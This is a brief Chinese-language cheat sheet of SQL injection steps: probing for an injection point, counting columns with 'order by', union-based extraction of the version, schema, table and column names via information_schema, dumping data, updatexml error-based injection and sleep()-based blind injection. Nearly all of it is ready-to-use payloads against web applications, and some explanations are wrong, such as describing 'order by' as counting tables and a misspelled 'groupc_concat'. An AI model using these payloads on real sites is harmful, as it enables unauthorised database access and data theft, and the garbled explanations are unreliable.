注入的一般步骤:
1.先找闭合
判断有无注入点
; and 1=1 and 1=2
现在要判断数据库类型以及版本,构造语句如下:id=-1 union select 1,2 ,version()
order by 语句来查询数据库中存在多少数据表
order by语句来查询数据库中存在多少数据表,如果order by 11返回正常 12 返回错误 那么数据表就是11
得到数据表的个数后,接着来用 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 ,11 from 表名
查询数据库名SELECT group_concat(schema_name) FROM information_schema.schemata
查询表名
select group_concat(table_name) from information_schema.tables where table_schema=’xxxxx’
查询列名 Select groupc_concat(column_name) from information_schema.columns where table_name=’xxxxx’
爆数据Select group_concat(column_name) from table_name;
报错注入 UpdateXml `and 1=(updatexml(1,concat(0x3a,(select user())),1))`
时间盲注和布尔盲注 ascii()
时间盲注函数 sleep() and sleep(5) %23 时间判断是什么语句 select id(条件,sleep(10),false);